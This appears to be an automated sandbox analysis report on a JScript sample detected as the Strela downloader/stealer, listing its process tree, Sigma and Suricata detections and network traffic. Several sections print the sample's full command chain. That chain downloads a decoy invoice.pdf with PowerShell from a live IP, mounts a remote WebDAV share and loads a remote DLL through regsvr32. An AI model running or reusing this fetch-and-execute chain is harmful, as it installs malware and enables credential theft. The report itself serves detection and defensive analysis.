Edit tour

Windows Analysis Report
929826576149214658.js

Overview

General Information

Sample name:	929826576149214658.js
Analysis ID:	1588031
MD5:	6cce275c5931d1c0e5c23cdbd11bf69b
SHA1:	4382d3cc6b108774518778586795a8f0fed246f6
SHA256:	4601f58511e7f9307ef10ba01e0d38484f0d8b12c9372d7dd192ae6a2cad3a3a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1892 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6048 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 576 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2576 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,14477637777086308567,2676894783168855443,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3636 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1440 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6048, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6048, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1440, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 1892, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 1892, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 1892, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 1892, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 1892, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6048, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3636, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5084, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3636, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 1892, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:47:22.784070+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:47:20.008059+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 929826576149214658.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 929826576149214658.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:47:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

